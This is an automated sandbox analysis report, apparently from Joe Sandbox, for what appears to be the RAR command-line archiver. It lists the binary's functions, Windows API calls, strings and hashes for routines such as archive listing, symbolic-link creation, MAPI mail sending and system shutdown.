Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction ID: 6be09e87cbe8f3173ef70e74ba2dbb3356ebfdcec141e945412c15fff905f4ef
Opcode Fuzzy Hash: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction Fuzzy Hash: 7CF05E21B4E25340FA5C6AAE585027912847F4C7A0F0D4B30EF2EC63E1DE6CE4418D18

Function 00007FF6BBCE38A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction ID: 060052920554f354ab94a1dd135d4d83206a5620f49d879f84fdc571d32a541f
Opcode Fuzzy Hash: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction Fuzzy Hash: 62E04F50F29302C0ED6EA62A185B07D02603FAEB80E54643ACE1EC63A2DF1DB4559720

Function 00007FF6BBD1FA10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF6BBD1FA20

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction ID: 84059751c8a71e96d4032afa7b8d7f9c73cf8cc29f3c9305fcbdd86208bf4877
Opcode Fuzzy Hash: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction Fuzzy Hash: 6FD09E65E1A90686F70EDB49E8657301261FF5C799F450734CB1D85571CFAD20D48308

Function 00007FF6BBCD4538 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,?,00000000,?,00007FF6BBCF7A8C), ref: 00007FF6BBCD4549

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction ID: 9c340a6bbd13502c7511ece7d6ecaf2d12ed5a4813b41556c9fcb9648c7174fc
Opcode Fuzzy Hash: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction Fuzzy Hash: A4C04C69E4548185D548972D98591641120BB49B35F941731D33D455F09F5854AB4700

Function 00007FF6BBCD1930 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF6BBCD1958

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction ID: 6ee6671c07fabd77236a37f0ddf666491f854ddd207baf15cc2c8ec9db9c962c
Opcode Fuzzy Hash: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction Fuzzy Hash: 81F0AF22A8864649FB28CB68E4483796660EB18BB8F586334D77D850E9CF6CD892C750

Non-executed Functions

Function 00007FF6BBCD67E0 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 441COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBCF49F4: LoadStringW.USER32 ref: 00007FF6BBCF4A7B
Part of subcall function 00007FF6BBCF49F4: LoadStringW.USER32 ref: 00007FF6BBCF4A94

Part of subcall function 00007FF6BBCC8444: fflush.LIBCMT ref: 00007FF6BBCC8477

Part of subcall function 00007FF6BBCFB6D0: Sleep.KERNEL32(?,?,?,?,00007FF6BBCCCBED,?,00000000,?,00007FF6BBCF7A8C), ref: 00007FF6BBCFB730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCD6CB0

Strings

EOF, xrefs: 00007FF6BBCD6CD1
%12ls: %ls, xrefs: 00007FF6BBCD6D01
%s%s, xrefs: 00007FF6BBCD6B24
%s%s, xrefs: 00007FF6BBCD6AED
%.10ls %u, xrefs: 00007FF6BBCD6C9D
RAR 5, xrefs: 00007FF6BBCD698E
%s: , xrefs: 00007FF6BBCD697B
%12ls: %ls, xrefs: 00007FF6BBCD6CD8
----------- --------- -------- ----- ---------- ----- -------- ----, xrefs: 00007FF6BBCD6D6A
%21ls %18s %lu, xrefs: 00007FF6BBCD6FA4
%21ls %9ls %3d%% %28ls %u, xrefs: 00007FF6BBCD6F85
%s%s, xrefs: 00007FF6BBCD69EB
%21ls %9ls %3d%% %-27ls %u, xrefs: 00007FF6BBCD6DA2
V, xrefs: 00007FF6BBCD6D62
RAR 1.4, xrefs: 00007FF6BBCD69A0
%s%s, xrefs: 00007FF6BBCD6A17
%s%s, xrefs: 00007FF6BBCD6AB2
%s%s, xrefs: 00007FF6BBCD6A74
%21ls %-16ls %u, xrefs: 00007FF6BBCD6DCD
%s: %s, xrefs: 00007FF6BBCD6962
%s%s, xrefs: 00007FF6BBCD69C0
RAR 4, xrefs: 00007FF6BBCD6987
----------- --------- ---------- ----- ----, xrefs: 00007FF6BBCD6DB0

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: LoadString$Sleepfflushswprintf
String ID: %12ls: %ls$%12ls: %ls$%21ls %-16ls %u$%21ls %9ls %3d%% %-27ls %u$%s: $%s: %s$----------- --------- -------- ----- ---------- ----- -------- ----$----------- --------- ---------- ----- ----$%.10ls %u$%21ls %18s %lu$%21ls %9ls %3d%% %28ls %u$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$EOF$RAR 1.4$RAR 4$RAR 5$V
API String ID: 668332963-4283793440
Opcode ID: cff16b410779efd6418cbb4bfaefd77790891fdcb5da60b35bb77876aa469163
Instruction ID: f529568c97b89dfd19e5f01d174ac3dc0b293305e167f3acf0547f481bf1aba3
Opcode Fuzzy Hash: cff16b410779efd6418cbb4bfaefd77790891fdcb5da60b35bb77876aa469163
Instruction Fuzzy Hash: 9A22C022A4DAC255EB24DB2CE8541FA67B1FF99344F440136D78D87ABADF2CE649C700

Function 00007FF6BBCCD2C0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 313fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6BBCCD4A6
CloseHandle.KERNEL32 ref: 00007FF6BBCCD4B9

Part of subcall function 00007FF6BBCCEF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6BBCCEE47), ref: 00007FF6BBCCEF73
Part of subcall function 00007FF6BBCCEF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6BBCCEE47), ref: 00007FF6BBCCEF84
Part of subcall function 00007FF6BBCCEF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6BBCCEFA7
Part of subcall function 00007FF6BBCCEF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6BBCCEFCA
Part of subcall function 00007FF6BBCCEF50: GetLastError.KERNEL32 ref: 00007FF6BBCCEFD4
Part of subcall function 00007FF6BBCCEF50: CloseHandle.KERNEL32 ref: 00007FF6BBCCEFE7

CreateDirectoryW.KERNEL32 ref: 00007FF6BBCCD4C6
CreateFileW.KERNEL32 ref: 00007FF6BBCCD64A
DeviceIoControl.KERNEL32 ref: 00007FF6BBCCD68B
CloseHandle.KERNEL32 ref: 00007FF6BBCCD69A
GetLastError.KERNEL32 ref: 00007FF6BBCCD6AD
RemoveDirectoryW.KERNEL32 ref: 00007FF6BBCCD6FA
DeleteFileW.KERNEL32 ref: 00007FF6BBCCD705

Part of subcall function 00007FF6BBCD2310: FlushFileBuffers.KERNEL32 ref: 00007FF6BBCD233E
Part of subcall function 00007FF6BBCD2310: SetFileTime.KERNEL32 ref: 00007FF6BBCD23DB

Part of subcall function 00007FF6BBCD1930: CloseHandle.KERNELBASE ref: 00007FF6BBCD1958

Part of subcall function 00007FF6BBCD39E0: SetFileAttributesW.KERNEL32(?,00007FF6BBCD34EE,?,?,?,?,00000800,00000000,00000000,00007FF6BBCE38CB,?,?,?,00007FF6BBCE41EC), ref: 00007FF6BBCD3A0F
Part of subcall function 00007FF6BBCD39E0: SetFileAttributesW.KERNEL32(?,00007FF6BBCD34EE,?,?,?,?,00000800,00000000,00000000,00007FF6BBCE38CB,?,?,?,00007FF6BBCE41EC), ref: 00007FF6BBCD3A3C

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00007FF6BBCCD328
\??\, xrefs: 00007FF6BBCCD390
UNC\, xrefs: 00007FF6BBCCD3BD
SeRestorePrivilege, xrefs: 00007FF6BBCCD31C

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: File$CloseHandle$Create$AttributesDirectoryErrorLastProcessToken$AdjustBuffersControlCurrentDeleteDeviceFlushLookupOpenPrivilegePrivilegesRemoveTimeValue
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2750113785-3508440684
Opcode ID: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction ID: ecd452e95971b7281485447228d21bfc9314b26f61b452cc7dceadc7b4c28870
Opcode Fuzzy Hash: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction Fuzzy Hash: C1D1DF26A0868696EB24DF28E8542FD73B0FB58798F504231DB5D876E9DF3CE50AC740

Function 00007FF6BBCFAE50 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 281libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2E4C), ref: 00007FF6BBCFAEE9
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2E4C), ref: 00007FF6BBCFAF01
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2E4C), ref: 00007FF6BBCFAF19
GetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2E4C), ref: 00007FF6BBCFAF75
GetFullPathNameA.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2E4C), ref: 00007FF6BBCFAFB0
SetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2E4C), ref: 00007FF6BBCFB23B
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2E4C), ref: 00007FF6BBCFB244
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6BBCB2E4C), ref: 00007FF6BBCFB287

Strings

MAPI32.DLL, xrefs: 00007FF6BBCFAEC2
MAPIResolveName, xrefs: 00007FF6BBCFAEF7
SMTP:, xrefs: 00007FF6BBCFB069
MAPIFreeBuffer, xrefs: 00007FF6BBCFAF0F
MAPISendMail, xrefs: 00007FF6BBCFAEDF

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryFreeLibrary$FullNamePath
String ID: MAPI32.DLL$MAPIFreeBuffer$MAPIResolveName$MAPISendMail$SMTP:
API String ID: 3483800833-4165214152
Opcode ID: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction ID: 588399884adba2e00015e50f9ce868be3f9049c3eea03270400bb4e99df79805
Opcode Fuzzy Hash: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction Fuzzy Hash: 54C18F32A09B8286EB14DF29D8542AD67B0FF88B94F444135EB4E87BA5DF3CD549C700

Function 00007FF6BBCFB57C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 54shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6BBCFB593
OpenProcessToken.ADVAPI32 ref: 00007FF6BBCFB5A6
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6BBCFB5BE
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6BBCFB5EF
ExitWindowsEx.USER32 ref: 00007FF6BBCFB602
ExitWindowsEx.USER32 ref: 00007FF6BBCFB637

Strings

SeShutdownPrivilege, xrefs: 00007FF6BBCFB5B7

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ExitProcessTokenWindows$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3729174658-3733053543
Opcode ID: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction ID: 563f0a1313ffdf245ab9162737d426db1c13c9ecb28f4a761ec2960c5a460f81
Opcode Fuzzy Hash: fa1b4f4939311264a597a3e156d3f94e3144e33e257b2b707d9ae949dbaf0abe
Instruction Fuzzy Hash: 07218132A18A4286FB98DB68E46937E6361FB9C744F905135DB4E86974CF3DD449C700

Function 00007FF6BBCCE21C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,00000001,?,00007FF6BBCB2014), ref: 00007FF6BBCCE298
FindClose.KERNEL32(?,?,?,00000001,?,00007FF6BBCB2014), ref: 00007FF6BBCCE2AB
CreateFileW.KERNEL32(?,?,?,00000001,?,00007FF6BBCB2014), ref: 00007FF6BBCCE2F7

Part of subcall function 00007FF6BBCCEF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6BBCCEE47), ref: 00007FF6BBCCEF73
Part of subcall function 00007FF6BBCCEF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6BBCCEE47), ref: 00007FF6BBCCEF84
Part of subcall function 00007FF6BBCCEF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6BBCCEFA7
Part of subcall function 00007FF6BBCCEF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6BBCCEFCA
Part of subcall function 00007FF6BBCCEF50: GetLastError.KERNEL32 ref: 00007FF6BBCCEFD4
Part of subcall function 00007FF6BBCCEF50: CloseHandle.KERNEL32 ref: 00007FF6BBCCEFE7

DeviceIoControl.KERNEL32 ref: 00007FF6BBCCE357
CloseHandle.KERNEL32(?,?,?,00000001,?,00007FF6BBCB2014), ref: 00007FF6BBCCE362

Strings

SeBackupPrivilege, xrefs: 00007FF6BBCCE27E

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Close$FileFindHandleProcessToken$AdjustControlCreateCurrentDeviceErrorFirstLastLookupOpenPrivilegePrivilegesValue
String ID: SeBackupPrivilege
API String ID: 3094086963-2429070247
Opcode ID: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction ID: 0b238bbe06d28b98be81a7bd60b50861306a80db286d649ceafec92856baf082
Opcode Fuzzy Hash: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction Fuzzy Hash: 9F61B032A0868286E728DF69E4582ED23B0FB5D794F804235DB6E97AE5CF3CE155C740

Function 00007FF6BBCEAF0C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 427COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6BBCEAFA0

Part of subcall function 00007FF6BBCFB6D0: Sleep.KERNEL32(?,?,?,?,00007FF6BBCCCBED,?,00000000,?,00007FF6BBCF7A8C), ref: 00007FF6BBCFB730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCEB185
new.LIBCMT ref: 00007FF6BBCEB18F

Strings

, xrefs: 00007FF6BBCEB2B6
%ls%0*u.rev, xrefs: 00007FF6BBCEB170

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Sleepswprintf
String ID: $%ls%0*u.rev
API String ID: 407366315-3491873314
Opcode ID: 782f304219662b4eecf027b144e7046621da4246e6178cffb5e29678f0c5f42f
Instruction ID: 27c9852247dc89f923514e31e8764e9ffac2658e9f66d5f5d61947ef4fffcd5f
